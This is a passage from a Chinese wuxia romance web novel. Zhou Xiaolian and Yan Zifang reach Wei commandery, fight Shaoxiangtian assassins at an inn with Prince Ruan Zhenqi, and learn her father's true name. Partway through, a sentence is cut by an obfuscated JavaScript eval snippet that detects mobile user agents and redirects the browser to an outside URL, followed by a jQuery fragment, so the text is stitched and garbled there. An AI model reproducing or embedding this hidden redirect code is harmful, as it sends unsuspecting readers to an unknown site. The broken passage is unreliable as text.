周二小姐这一病,让他们这群男人顿感自己蒙受女人欺骗玩弄。 他奶奶的!为了一个不认识的娘们从南跑到北……若不是赌自己能分杯羹,不然谁愿意花时间来这偏僻的女人窝里? 明明已经为了素未蒙面,甚至不知名姓的周二掏心掏肺,却飞不上枝头。天下不能有这么不公平、不划算的事情! 于是,有人向周珊瑚提出:“虽说二小姐病了,但洗雪山庄并非只有一位小姐。” “若大小姐能喜结良缘,想必既不会寒了儿郎们的心,亦不会了浪费了这么一场席宴……也不会,让洗雪山庄在江湖上,失了名誉。” 此话一出,如投石江中,激起千层浪音,却无一人反驳。 周珊瑚原本是十万个不愿的,可周汀情提剑应下了。 冷月光孤身一人站在台前,手里紧紧攥着她的剑。 “比武招亲,可以,但要以我所言,将比武招亲的规则重修。” “我不要你们男子之间缠斗争个胜负,此举实在太过浪费光阴,早该废弃。” “我自学洗雪剑起,每日晨起后练剑约四个时辰,日日如此,风雨无阻。”周汀情眨了眨眼,长睫扫过,眼中却空无一物,也无一人。 “自明日起,便每日行四个时辰的比武招亲。你们所有人的对手,是我。” “只有赢了我的人,才有资格过我洗雪山庄的门槛。” 此话一出,台下有人讪讪道:“……换了个人,怎么还是招赘……” 周汀情却坦然:“是又如何?” “想近我身者,先赢过我手中的剑。” 远在三日之后,日月江南岸的周小怜,听说周汀情抛出的这样几句话,不禁一口茶水喷出,咂舌道:“虽说的相当快意,但只怕现如今江湖上的人,都要说她心高气傲。” 燕紫芳正在擦刀,他捻着一块细布,来回细细捋过膝上长刀。小怜打眼一看他这动作,和给她擦眼泪的手法也差不了多少,合着那一夜是拿她当刀呢…… 也不对,她应该没燕紫芳那柄刀来头大。 刀鞘是天下第一奇楼紫羲楼的;刀柄后面缀着的玉玦是非衣会的珍藏;刻着飞燕纹的刀身,虽看不出来出自谁手,但工艺更是精妙绝伦。 甘霖的鹦鹉,周汀情的缇月,虽然都已称得上是如今江湖中难有敌手的好剑,但与燕紫芳的三百两相比,竟还是逊色不少。 嗯……三百两。小怜看他的刀看得眼热,兀自可怜于燕紫芳的刀,怎么就摊上了这样一个随心所欲的名字? 虽然三百两这个名字,在小怜看来不怎么样,但燕紫芳对自己的东西,还是擦得很用心。一天十二个时辰,他擦刀两个时辰。 燕紫芳忙活了半日,头也不抬,随口搭腔道:“你很在意么?” “嗯?”小怜愣了一下,心想着燕紫芳的刀,还以为他在问自己是不是在意他擦刀。可转念一想才觉得不对,原来是在回她刚才说的话。 “事出有因,因在我身,我能不在意吗?”周小怜又抿了一口茶汤,压压心,“不过想来那群人里应该也没人能打得过她,我就不瞎操心了。” 燕紫芳平淡道:“听闻近些年名声鹊起的甘少侠也去了比武招亲。此人武功卓绝,师承杀梅老者,不是强敌么。” 小怜想起那夜甘霖背上一箭,自己又落井下石,将甘霖打落湖中。如今再提,难免有几分心虚,许久才道:“甘少侠我不了解,周汀情我还能不了解吗?她、她现在打得过的。” 若论平时甘霖和周汀情两人相斗,她还真不知道到底谁能赢。可生生受下一箭一掌的甘霖,少说半月之内,应当是很难下床的。且不论那一箭威力如何,便是小怜的那一掌,在毫无防备下,通常能活活打死一头牛。 “你倒是笃定,江湖上人人都押宝甘氏十拿九稳。不过不知为何,他两日前也骑马离开洗雪山庄了。”燕紫芳冷笑一声,这件事,小怜就没听说了。 他说话总有些夹枪带棒,小怜听得明白,心底默默白了他一眼。 周小怜原以为燕紫芳是个冷面无常的木头,可相处几日下来,才发现是个脑筋和心肠一样,多得打结还解不开的贱人。若是个长得一般的常人,小怜早扇他了。 只可惜燕紫芳的脸,实在是一副无可挑剔的无情相。周小怜惜美人的病犯了,就是每日被酸两句也扇不下手,扇他都怕被他眼睫毛蹭到手掌心。 周小怜只当没听明白他的话,继续道:“过了日月江,往南下会先到淮南九郡。葫、荔、象三郡被其余六郡包环,内陆无水;丹、解、宝光三郡正值战祸,我不想引火烧身;康郡……风水不好。” “通,韦两郡中,韦郡离日月江南最近,”小怜垂眸,“我也有事要去韦郡做,不妨先去韦郡。” 她一通分析头头是道,余光偷瞄一眼仍在擦刀的燕紫芳,指尖抽动。去韦郡是她私心,丹、解、宝光虽有暴乱起义,但多为百姓与江湖义士。况且动乱数月,朝廷自会派人去管。 一年前小怜旅居宝光郡时,便听有人说过徭役税重,恐迟早会有大乱的一天。如今战火纷至,周小怜并不侠义仁心,仍是事不关己,高高挂起。 乱世与否,她只要保全自身便足矣。 要去韦郡办事不假。小怜指腹摸了摸木桌上刀剑刻痕,默想:找剑,开匣……都不太急。眼下最重要的事情是:父亲杭红真,曾是韦郡人。 想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362284|183741||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到多年未见过的生父,小怜又忍不住看向燕紫芳。 她指尖戳戳桌角,引来燕紫芳目光,才道:“我和你透个底,我很多年没见到我父亲了。他究竟生死如何,我也拿不准,只是带你找找看。” “无妨。” 燕紫芳举起他的刀,对着日光端详一番。小怜见其寒光粼粼,雪亮浮照燕紫芳眼周,丝毫不疑此刀能削铁如泥。 他道:“有他的亲生女在我身旁相助,总比我一人漫无目的地找要方便许多。” 小怜不忍道:“反正我和他关系并不算好,你不怕白费功夫就行。虽说父债子偿天经地义……” “那你替他偿命?”燕紫芳眼皮一抬,与他的刀一同看向小怜……刀怎么会看人?小怜又被他冷冷的俏模样炫到恍惚。 “做青天白日梦呢?怎么可能。他欠你的命,你找他要。若是他一人的命还不够,那洗雪山庄上下连带一条狗,你能杀就去杀吧,我不拦着。” 燕紫芳不言,深深看了耍无赖的小怜一眼,将擦干净的三百两收回鞘中:“你去过韦郡吗?” 小怜回忆先前见闻一番,道:“丰水连天,韦郡商贩走卒众多,是个四通八达的好地方。江湖人爱韦郡风流,郡中琼鱼坊温柔乡,都是红粉葬魂处。早有耳闻,但从没去过。” “是烧香天的地盘。”燕紫芳指头沾了茶水,在木桌上写下湿迹,又草草画了两只……看不清楚的东西。 小怜看过去,不禁困惑:“你画了什么?两只鹅头缠在一起了?” 看上去实在是鬼画符,小怜能分辨出两只鸟儿已是不易。 燕紫芳面不改色,温声道:“是鸳鸯交颈。两年前烧香天的主人,失了女儿和爱徒,恨不能将洗雪山庄的珊瑚和大小姐抽骨吸髓。” 周小怜不禁打了个寒颤,他说鸳鸯,小怜就知道是什么人了。 鸳鸯双贼十年前偷了头,可不只是死人的头和佛头。当时许多活人的头被他们生生绞了下来,最后一桩,是他们偷了京中一名老将军的头,从此杳无音信。 当时民间沸扬,人心不安,身负军功的官员惨遭此难,朝廷也颜面无光。两人这般恣意行事,恶劣极端,堪称邪魔,这才被正道追缉多年。 周珊瑚与周汀情表面说是生擒,实则鸳鸯双贼根本没能活到烧香天主捞他们的那一天。 周汀情砍下了他们的头,丢到了饿了半月的猪圈里。 不过这些周小怜都不知道,她那时逍遥在外,偶尔听到周汀情和周珊瑚的消息,一直以为鸳鸯双贼也是那种全家死光,才走火入魔的类型,没想到人家竟与父母和睦……甚至父母盲目为护! 小怜称奇:“那烧香天香主都这么不辨是非善恶了,干嘛不和周珊瑚拼了报仇?打不过周珊瑚,难道还打不过周汀情吗?” “鸳鸯双贼恶迹斑斑,血罪罄竹难书。简而言之,烧香天明面上还算一个正经门派,不仅不能杀庄主和大小姐,还要把落下来的牙齿吞进去,敬洗雪山庄,和江湖中人。” “……那我们还要去韦郡吗?”小怜抿唇。 虽说周二小姐已病来如山倒,寸步不出洗雪山庄。可江湖上风声不少,香主恨洗雪山庄入骨,想来什么阴招也出得听得。 燕紫芳笑了一声,轻飘飘道:“只是随口一提,你怕了?” “废话,万一他们要把我剥了怎么办,”小怜忍不住唉声叹气,“我也真够可怜的,爹不疼娘不爱也就算了,人家的仇,还各自分我一杯羹。” “爹杀了别人的爹,娘杀了别人的女儿。这下去哪都走不通,还要被压着走,这世道啊……” 这世道啊,像个车轮。 总是被机关推着,不得不向前滚滚。 10. 玉往泥中去 要从日月江南去韦郡,常人也不过花三日时间便能到地方了,更不要提小怜与紫芳两人是习武之人,骑马驾轻就熟。他们过韦郡关口时,是第二日的傍晚。 说杭红真的旧宅就藏在韦郡里,可小怜素来与他父女缘浅。多年不见,周小怜对杭红真没什么挂念的,如今也真不知道要去哪里找这么个地方。无奈天色已晚,只好与燕紫芳随便先找个客栈落脚,待明日再四处打听。 “伙计,开两间上……”小怜甫一踏入客栈,就有些急切的要开两间房,她想赶忙将自己与燕紫芳隔开,却没想到这家小小的客栈里,正坐着一个格格不入的熟人。 看清来人面孔,小怜登时变成了一只被捏住嘴筒子的鸭子。 偏偏店小二听走她半句话,巴不得赶紧敲定生意:“好嘞,两间上房——!客官不妨先在楼下坐坐,咱们店那上房还得收拾呢!” 阮真棋超绝尘寰,身旁一个人也没带……但皇子出行,不能没带人。 小怜扫了一圈店内,一打眼也看不出楼下这几人里哪个气质超群不似俗物,是阮真棋的手下。但除了阮真棋的手下,她竟然看出了有几个身怀武功,绝非善茬的人。 譬如那自从她一进店,就虎视眈眈的店小二。 小怜忙躲在燕紫芳身后,这次出行急匆匆,一路上都没怎么有意给自己加点伪装。 毕竟没了周二这一层身份,身后追她的除了那四个露水情缘,也不会再有其他人了。 阮真棋今日模样看着不比从前冷若冰霜,眉眼舒柔,倒添了几分冰化了的意趣。他不疾不徐,道:“何必躲着,过来坐坐吧。此地难道不比洗——” “哎!”小怜急了,要不是阮真棋呢,一句话就踩着她尾巴了。 周小怜可惦记着此地是烧香天的地盘,若被人拆穿了是洗雪山庄的女儿,只怕就算最轻也得在这掉层皮。 她无奈认命,刚要走过去坐下,又被燕紫芳伸手护在身后。 “不必去,”燕紫芳寒声道,“此人武功不足为惧。” 嚯,真傲啊。 小怜忍不住暗暗感慨一声,视线顺着那条手臂往上看去,燕紫芳见了阮真棋,面色也不佳,两腮紧绷,像被激怒的猫。 不过我都不急,他急什么?小怜有几分莫名其妙,但还是伸手给燕紫芳捏捏胳膊,轻声劝他:“无妨的,这是我认识的人。你若是没事,便上楼去休息好了。” 小怜初衷是劝走与阮真棋无关的燕紫芳,但在旁人看来,这两人更像是一对情根深种的野鸳鸯,这会儿竟仿若无人般,你侬我侬起来了。 阮真棋终于纡尊降贵,对两人投来一眼。他只略扫过,便讥笑道:“哦,第五个,这么快就死心塌地了。愿意随他私奔,倒是比对我们这四个老人情深意切。” 小怜下意识收回手,被阮真棋这等高冷之花下山揶揄,她倒不显窘迫。不过若她和燕紫芳也勾扯不清,这会儿倒能坦然些应下阮真棋的挖苦。 可惜她和燕紫芳现在却真不是那种剪不清理还乱的关系,只是恰好是一男一女。平白惹了误会,她就算想驳回去,说话还要顾着分寸,担心燕紫芳是怎么想的。 她只淡淡道:“还好吧,若说死心塌地,哪里比得上前头四个,对我一往情深。” 没有死心塌地,也不是私奔,更不要说情深意切了! 两人言语上都不愿落了对方下风,小怜总觉得那四人争强好胜,可她自己也不赖,真是臭味相投。 阮真棋面上无波无澜,眼中却寒了几分,又道:“这个是什么时候认识的,先前在你家中,倒是也没见过。难道二小姐那时登台唱戏,是舍不得新媳妇见公婆么?” 这是刺她在猎月台算计他们四个呢,也是。 把他们四个全算计了,转头让燕紫芳在墙根底下等着她逃出来再私奔……在他们看来,这件事情不外乎如此。 难怪气成这样,这么几日就追上来了。 小怜手指绕着鬓发,悠悠道:“我倒不知道,阮公子已经对我如此魂牵梦绕。这样好奇我的情事,想来也不是以我公婆自处的……” 她笑开了,但笑里藏刀,眼是两把月弧钩,钩着人心尖又酥又麻。 “阮公子呀,你且放宽心,我没有天头上那位三宫六院的喜好。若真有那么一日,也绝不会让你成了在深院中数砖度日的——” 怨夫二字还未说出口,平日里讲闲云野鹤,清净自持的阮真棋已然黑了脸。他难再端坐下去,拍案直起,一掌穿空而来,突然朝小怜发难! “嘴巴不干不净的狐狸精,就该扒了你的皮!”随着阮真棋忽起的动作,那店小二也演不下去!大吼一声,便似打抱不平般攻来。 燕紫芳提刀格住阮真棋这一掌,转眼却看见那名店小二提着算盘,袭向周小怜。 小怜矮身一腿飞踢,力道狠厉,正中小二腰腹关要。店小二难敌她功力刚猛,他横身直直被这一踢掼走倒出,砸在木柱上,活活昏死过去。 她方才所言的是阮真棋的母妃,阮真棋会坐不下去也理所应当。 那小二无缘无故的找上门,此地被设伏已经是板上钉钉的事情。不如……借阮真棋脱身。 不知何处又传来几声粗犷大叫,四名裸着上身的汉子,从店内暗处和二楼转了出来。 除了相貌极度相似,在小怜眼中都是青面獠牙丑的一视同仁!他们还各自持着一对大斧头,虎虎生风得舞着:“公子,便让我们这等江湖义士,来为你扒了这对奸夫□□的皮!” “我呸!”风流江湖一年以来,周小怜对他人称呼自己的要求高了不少。水性杨花听着还有几分美意,奸夫□□可就是对她品行的污蔑了,狐狸精大怒。 “阮公子与我愿打愿挨,要说奸夫,他也是其中一人!不过是成王败寇落了风头,哪要的你们几个□□似的东西给自己挂金字牌匾!” 那四人中的一名很吃这套激将法,他被小怜这不要脸的骂法骂的面红耳赤,一把斧头直直向她劈去。 此人捏着斧柄,小指翘起,手样是标准的兰花指。 他声亮且尖细,是个不阴不阳的模式,嘴里污遭不清的啸骂道:“你个小贱人!你奶奶我今日非得砍下你的头,戳在枪杆子上——” 小怜一个翻身旋子,轻巧躲开他那一斧头。她手中无趁手兵器,欲悄然运作洗雪心决,真气却如洪泄般,霎时空荡无存。她浑身一滞,还好那夜之后她对此异状早有准备。 可还不待她动作,斧头却紧随其后,只偏一寸不到,好险没砍下她半截小指。 小怜快速并指连点肩上几处大穴,顺口讥讽道:“枪杆子?你那大肚皮酒囊饭袋的傻样,还自夸个枪杆子呢,我看就是只软皮虫!” “贼娘皮子,我要杀了你!”他一斧砍来,却被燕紫芳的刀四两拨千斤般化走。 几番身法变化间,局势已悄然变作小怜与阮真棋对垒,燕紫芳与那四五人缠斗。 “你一入韦郡,烧香天便以千金悬赏你项上人头,”阮真棋如念梵语,轻声道,“客栈人多眼杂,此乃迦南香四子,一母同胞,身体各有残缺。” 两人四掌翻飞,出招刚中带柔,双方绝非都下死手。如此心有灵犀,小怜也知道他并未因刚才那番话气恼。 小怜对他路数详知,见招拆招,动作间似讨债鬼追债般,她问:“你不走?” “刚来,歇一日再走。” “金贵,”小怜暗叹一声,“我帮殿下解决了这四人,报酬呢?” “韦郡内不谈过往,日后帮你一件事。” 阮真棋侧身躲过她一击,那只手却向他腰间探去,两人挨得极近,小怜挑眼望他,手中已摸得阮真棋的剑。 她用起阮真棋的剑已很是得心应手,“殿下的方圆触之如美玉,哎,要不把方圆卖我吧?正好我的铜凤断了。” 阮真棋不言,小怜的回答已然明了。他只将手掌拍在小怜脊 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三人年纪看上去都不大,不该如此棘手啊?小怜身位靠前,又是一剑飞袭!向着其中一子的咽喉冲去,若此剑得手,只怕此子咽喉会寸断炸裂。 燕翼行至圆满处,剑弧无懈可击,寒光一闪,小怜的剑被生生挡下。那两名大汉寒毛直竖,小怜的眼睛里凶相毕露,毫不遮掩狐狸茹毛饮血的兽性。 “怕了?”她收剑冷笑一声,这次发现此四子虽长相极为相似,但腰间所系的信物各有不同,她面前两人戴着的,像是玉与绿松石。 挂玉的一子没被小怜激怒,他身形如肉山,行动却狡猾像泥鳅,“不打了,先撤!” 此人一声令下,虽与燕紫芳缠斗的两子恋战不肯,但最终还是讪讪而归。燕紫芳脱了战,仍闪身挡在小怜身前,一如两人来时般。 阮真棋早已上了二楼,冷眼看一地狼藉。 “烧香天迦南香,迟早会取了你们这两……这三个奸夫□□的首级!” “洗雪山庄的贼娘皮、皇帝的龟儿子、非衣会的走狗!”他们叽叽喳喳怒叱,小怜一点也不惯着。 少女抬腿勾起地上那把居然还算完好的算盘,眼也不眨,一把就向着说话那人的头上掷了过去。 虽然没能砸中,但也砸断了这群人放屁似的放狠话。方圆剑跃过燕紫芳的手臂,剑铮鸣时,指向那绿松石子:“下一次,你们那四颗猪头可就没那么容易留在脖子上了。趁我还没动手,还不快滚么?” 眼下打也打不过,来路不明的燕紫芳,他们定要查个清楚。烧香天四子纵使再多不甘,眼下也只能破窗离去。 客栈中寂静无声,没人知道现在该说些什么,阮真棋和周小怜又是从哪一刻开始对上眼神合作的。 眼下一地碎木烂石,小怜无心顾及环境。她只觉自己手掌发麻,身子晃了晃,方圆剑从她手中滑落。 阮真棋和燕紫芳的视线,不约而同地投向有些站不稳的周小怜。 只间她人中被血糊了一片,那猩红源于她的鼻腔,两条细流,还在往下淌。小怜浑然不觉,她被盯得难受,心烦意乱说:“看我干嘛?” 一边说着,她内外眼角,也徐徐往外冒出血珠。 燕紫芳神色不改,阮真棋方寸大乱。 “你!”他气急败坏,叫了一声,忙从二楼栏杆处跳出。 燕紫芳却只是抬手帮小怜擦去那些血渍,擦得又快又轻,小怜都不知道他突然又在自己脸上抹来抹去干什么呢。 “没事,有点灰,擦下脸。”燕紫芳道。 小怜“噢”了一声,懒得看阮真棋在那上蹿下跳的干嘛呢。她鼻翼翕动,倏地嗅到一股冷香,很近,很浓,却不是很呛。小怜顺着那香气追根溯源,才发现竟然是燕紫芳身上的味道。 心随意动,她像是被那香气迷着,忍不住嘴痒撩了一下:“你好香啊。” 11. 万般不由人 “不香。”燕紫芳仍是那副死人脸,方才他被稀里糊涂卷入一场打斗,倒也不怪小怜什么言辞激烈,故意挑事。 毕竟烧香天的事情,还是他告诉小怜的,如此情状,两人入郡前便早有预料。 小怜仰头看他,与阮真棋交手间,燕紫芳一人挡下四子很是不易。 她其实没想过燕紫芳对上那四名妖人,竟毫不落入下风。便是这会儿松懈下来,燕紫芳的气息也纹丝不乱。 小怜见状,心中忍不住想:必定是心法深厚扎实,才能如此平和,吐息绵长,当真深不可测。 只不过刚才情势所迫,她没能看清楚燕紫芳用的到底是哪家哪门的路数。 虽说她也知道的不太全,但非衣会和紫羲楼的还是略有耳闻……燕紫芳此人神秘至极,嘴巴严丝合缝,话少,绝不肯向小怜透露任何除了人命债以外的东西。 甚至关于这最重要的一桩人命债,他也语焉不详。 若不是小怜身有异样,无法从他身边轻易脱逃,小怜眼下才不想和他来这韦郡自找麻烦。 两人这一路同行,她竟然没能从燕紫芳身上打敲出来什么,甚至连一星半点的刀招都没见过。 对他的来历,狐狸精时不时真心又扬起几分好奇,聊作解闷找乐子。 礼尚往来,她顺手帮燕紫芳把垂落的几缕鬓发挑开,又正了正他衣襟,熟门熟路道:“头发和这儿乱了。” 燕紫芳“嗯”了一声,飞快收回给小怜擦脸的手。 阮真棋来得快也来得巧,周小怜说的话正好落进他耳中。只见那张芙蓉面在燕紫芳手里走了一圈,再出现在他阮真棋眼前时,俏脸干净如旧,小怜正看鬼似的看他:“你怎么了?” 看见阮真棋,她这才想起来手中的剑,忙将方圆抛了过去:“方圆还你,说好的韦郡里不谈之前的事情。眼下帮你一回了,别揍我啊。” 阮真棋接过剑,还剑入鞘。 他笃信自己刚才绝没有看错小怜那副眼珠冒血的骇人模样,可他和小怜关系本就算不上好。自己恨过她行事浪荡,也恨过她痴儿不改……也不知道那妖人做了什么,止住了她脸上的血。 阮真棋冷眼同燕紫芳看个来回,对这个人,他越看越不舒服。周小怜招惹的几个人皮相各有千秋,偏偏新来的这一个,和他身上那股冷意有几分相似。 阮真棋收了视线,每次遇到小怜,他都有几分头疼,只怪是他自己求来的不舒坦。明明人都和新欢跑了,自己还眼巴巴的追上去做什么呢? 他想让小怜上楼休息去,脱口而出的却是:“我碍着你和他了?” 小怜有些吃惊,阮真棋讲话酸溜溜的,又觉得好笑,解释道:“他不是我姘头。” 燕紫芳不动如钟,小怜兀自瞧他一眼,看不出喜怒模样,便继续说了下去:“我是有正事要做才来此地,你不会真是追着我过来的吧?不对,你怎么猜到我会先来韦郡的?” “倒难得你要正经做什么,”阮真棋被小怜几句话哄好一些,心又不自觉跟着她走,“宝光、葫、荔、解,四郡你去过;先前你在康郡被带回去的,出来必不可能会再去了;至于其他的,全凭运气。” 若不提之前,在洗雪山庄更之前的事情,阮真棋实则是个好相与的人。眼下四人中,小怜也最爱与他来往不清,尽管那夜他追着小怜射箭,泄愤嘛,阮真棋一向如此的。不生气就好了。 小怜听他将自己解个底朝天,也不气恼,反而不带一点讽意,直抚掌夸赞:“殿下可真厉害,运势也不错。我这刚入韦郡就遇着你了……” “你今日只能来这一家客栈,”阮真棋听了,倒把烧香天的事娓娓道来,“他们也是有意把我堵在这里。郡内其他的客栈,今夜无房了。” “再者,这家客栈离关口最近。你日落入郡,无处落足,会在这将就一晚,再正常不过。” “烧香天抓我也就算了,为何连你也抓?”小怜不解。 阮真棋道:“皇子西下九郡,总不见得真是为了过日月江,娶天下第一美人。” 原来也是有正事要办,小怜闻言不禁垂眸思量。 阮真棋虽然明面上在大相国寺带发修行,实则也不尽然心向菩提。当年两人大打出手,也有小怜无意撞破的原因。 不过修行是真,灭人欲是真,恨她也是真,真真真……那什么才是假的? 只有来洗雪山庄要参加比武招亲娶她,是假的。 “当时庄里有你要查的事情?”周小怜蹙眉望向他,阮真棋讳莫如深,不再对此作答。 他只道:“上楼休息吧,我的人收拾过了。” “方才倒没见着你手底下的人。说来也奇怪,以你的武功,从那四子手底下走一回也并非难事。阮公子,你不会是想跟我玩英雄救美的小把戏吧?” 然而英雄是小怜,美是阮真棋。 见阮真棋有意回避此事,小怜也不愿追着他打破砂锅问到底。 阮真棋的事情与她无关,他出身宫中,立场只有朝廷。小怜是江湖人,大路不同,还是敬而远之最好。 小怜故意谈笑,岔开话题。 阮真棋懒得搭理嘴上轻佻的狐狸精,只怕再多在这里站上片刻,他就手心发痒了。 龟毛的阮皇子不发一言,正抬腿要上楼去,又被小怜叫住:“等等!” 小怜想到没个头绪的杭家旧宅,忍不住朝他问道:“你查过我吧?我要找韦郡杭家的旧宅,你知道在哪吗?” 阮真棋站在楼梯上,沉吟片刻,还是没好气道:“韦郡没有杭家。你若要找你父亲杭红真,他本名叫辛慎。” 黄金台温柔乡,琼鱼坊烧香天。韦郡郡内黑白两道特产,分别是佛寺、乐坊、赌坊、地头蛇,小怜对烧香天缺漏,如今对四处都有所了解,但也并不详尽。 “韦郡琼鱼坊,曾是辛家基业,不过后来为烧香天所占。辛家公子豪赌一场,败光祖上三代的遗产,为韦郡人津津乐道,辛公子面皮薄,无奈离开韦郡。” “辛家老仆在韦郡眼见辛家高楼起,不愿见辛家倾颓,少爷无家可归。故操劳半生,赎回一间辛家老宅,藏于韦郡西南角芜兰坊中。” 过去故事不曾被人揭露过,小怜还是第一次听说这些事情。原来生父是这么个不入流的东西…… 倒也好笑,小怜在外给自己起个假名叫辛辛,阴差阳错用了生父的姓,原来这也有几分命中注定。 小怜喃喃:“我父亲,是这样的人啊。” 阮真棋自顾自道:“老管家千盼万盼,只愿少爷有朝一日可以回家。却没想到辛少爷离开韦郡后,本想在日月江投江,被路过的周庄主救下后,对她一见钟情,心甘情愿的成了人家的赘婿。” “辛慎改名换姓,做了杭红真,也就是你父亲。” “原来如此,”小怜接话,忿忿摇头,“那我明日去芜兰坊找找,多谢了。” 阮真棋挥挥手,一路向上,进了三楼左转第一间门。小怜也不客气,朝燕紫芳道:“咱们这下过夜不用付钱了,明日去的地方也找着了。” 燕紫芳没回答小怜的话,也没有急着上楼。他刀已合鞘,看也不看的往后一捅,生生夺入地上那晕着的店小二口中。 小怜这才注意到一开始就被她踢飞出去的这么一个人,好奇道:“怎么烧香天的人跑了,也没把他带走?” “此人并非烧香天出身。”燕紫芳答着,刀深捅进小二的咽喉,动作一番后又抽出,带出一串粉红水渍。 “用铁算盘,是非衣会的人。烧香天与非衣会合谋,韦郡有大事。” 他言简意赅,小怜咂摸出几分不对劲来:“哦,所以韦郡内现在无异于群魔乱舞啊,皇子、烧香天、非衣会、大事情,嗯……” “听着热闹,人却多得叫我心慌,”小怜揉揉自个儿眉心,说话不知不觉就蹙眉,生了苦纹路就不好了,“说来我也有事问你,先上去再说吧。” 燕紫芳轻声应下,两人也不在满地狼藉里继续对谈,而是转身上了右边的楼梯,在三楼右侧寻了两间住下。 她吩咐燕紫芳起来得心应手,似是一种天生的亲近和自然,小怜不作他想。燕紫芳与她恪守三步之距,虽入了同一间房,但相隔距离更胜三步。 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她委婉道:“你这一路对我没有敌意,我看得出来,方才也多谢你出手相助。可你没必要用我父亲的事情骗我……” “他是欠我的命,”燕紫芳无情打断,语气之坚定,让小怜错愕,“杭红真不止欠我一条命,可我从没说过,他欠的命与我父母有关。” 小怜一愣,下意识道:“周珊瑚难道不知吗?你……看上去也比我大不了多少,杭红真到底怎么欠你的命了?” 燕紫芳不吭声了,他微微拧过身子,留给周小怜大半边背影。小怜不干,急得要挠他:“燕紫芳,你说话啊!我别的什么都没问,你要是连这事都说不清楚,我又怎么能放心帮你?” “为何不能放心帮我?你从洗雪山庄出逃,反正也无处可去,无事可做,不如在我身边帮我,”燕紫芳理不直但气壮,将小怜噎了回去,“是周庄主要他做的。总之,欠我命的是杭红真,你只需要帮我找到他就行了,我不会为难你。在找到他之前,我也不会让你轻易地死。” 燕紫芳的解释,又把小怜的脑袋搅得一片糊涂,什么叫是周庄主要做的?周珊瑚让杭红真害人么? 周小怜想想这两人狼狈为奸的模样,就打了个哆嗦。 他这么一说,又将两个人捆在一起了……到底是要捆到什么时候才算完?小怜一屁股坐到榻上,抱着头直哼哼:“我自己都,十岁?十一岁?那时候就没见过他了……问洗雪山庄里的随便一个谁,谁都说他跑了,跑得没影没踪。 “这么多年来周珊瑚都找不到的人……就我们俩找么?” 燕紫芳理所当然道:“嗯,就我们两人。” “不然你还想有谁?哦,你倒不是无事可做,”燕紫芳话中夹枪带棒,“江湖上的确鲜有人知,周二小姐爱沾花惹草。今日一见,我也叹为观止。” “什么都和他说,你很喜欢他?” 燕紫芳注视着面前的少女,脑海中是一片混乱。他为什么会说这些话?他自己也不懂……心里就是这样想的,于是就这样说了出来。 可小怜看上去很错愕。 “啪!” 小怜毫无预警,倏地抬手一掌,今日次次忍让到了极限,她已难捱那股烧心的感觉。 右掌直直扇在燕紫芳的脸上。力道之大,让燕紫芳略有些被打偏了头。 曾经做的事情无可辩驳,她的确沾花惹草,原本也不在意别人说的,可就是不能被燕紫芳这么说。 她听进耳朵里,心里异常的不舒服。 这一掌带着她几分迁怒的意思,可吃着碗里看着锅里的怎样,既要又要又怎样? 小怜怒不在面上,厉声道:“之前你怎么说我都忍你了,但要谈论起我的这些烂事情,你又算老几?” 她对燕紫芳一路以来,算不上太走心。可现下莫名有种被身边人背叛的悲哀和怒意,荒诞的萦绕在心头。 少女的声音和身体都在发抖。 “我当你是不在意这些的,况且之前我也和你说过。现在又对我如此管束,我请问你,燕少侠,你也和烧香天那些人一样吗?” 12. 瓮中捉鼠行 怒来的快,去的也快。小怜收回手,说完话,心口发麻,指尖也发麻。 屋内静了许久,燕紫芳侧着头没动作,周小怜伸手去掰他肩膀:“我没有别的要求,我们都一起到韦郡办事了,难不成这会儿再分道扬镳吗?我只要你好好说话……你?” 手背霎时被一滴水珠烫着,小怜拧过了比她高出许多的燕紫芳,看见他的脸,顿住了。 都说泪水金贵,可燕紫芳的泪多轻贱。贱吗?一滴一滴从眼眶里漫出来,源源不绝地掉,掉在小怜手背上,让她一时也失声。 周小怜当然见过男人哭。褚见珏落榜失意时在露台上的惆怅惘然,乌兆星在火光旁抓着她一缕发丝时的动容,可那些哭都和燕紫芳哭的不一样。 他一点表情也没有,睫毛湿了,像被霏霏雨水打湿,绝不是哭的情态。 燕紫芳就算被小怜看见这幅样子,也没什么不好意思的。他说话带一点沉闷的气音,道:“是我不该这么说,我错了,对不起。” “你哭、哭什么啊……”小怜有点结巴。 他对此又闭口不谈,周小怜心知和他这样拖下去也没用,这锯嘴葫芦木头精。她无奈拉开门,把燕紫芳赶出屋子:“算了,就当我给自己添堵吧。走吧走吧,明日早些出门,早办完事我们俩就死生不复相见。你休息去吧。” 燕紫芳跌跌撞撞的被小怜推出去,砰一声,门又被她毫不留情关上。 不该学那个人的,她不喜欢这样。燕紫芳搓了搓手指,默默在心中把阮真棋的脸涂上乌墨。 小怜和阮真棋那样亲近,她用阮真棋的剑,燕紫芳的确心生嫉妒。明晃晃,不加掩饰的嫉妒,身心如烈焰焚烧,就算把阮真棋剥皮抽骨,也不能开解分毫。 他虽然在再次遇到小怜之前就知道她的那些风流韵事和露水情缘,但当他真看到小怜与这些男人们的亲昵时,他实在难以自控。 周珊瑚和毒婆婆告诉他:“小怜还是没记起来,但她心中的怀芳已经死了很久了。虽然小怜仍然对怀芳之死耿耿于怀,可她也不得不慢慢放下。” 阮真棋恨周小怜,乌兆星恨周小怜,燕紫芳也恨。 恨她明明无情,却装多情。 燕紫芳没有急着离开小怜的门前,他靠在一旁的房柱上,摊开手掌,黑色的皮革沾了血也看不出来。 他一点点抹掉小怜脸上的血渍,不够,这样聊以慰藉的触碰不够。他很渴,一旦靠近小怜就又渴又饿,小怜像吊在他面前的肉骨头一样。 想起被关在书楼中不见天日的六年,唯一能听到的消息,是有关小怜的成长。洗雪山庄的二小姐高了、瘦了、身体不错、但还是没有记起以前的事情……燕紫芳誊抄典籍,一遍遍劝自己出去后一定放过少女,不再作他想。 燕紫芳抬手,将手掌覆在自己唇上,伸出一点舌头,几乎虔诚的一点点舔舐去那股温热的血腥,也不顾是否干净。 他的血……她的血。 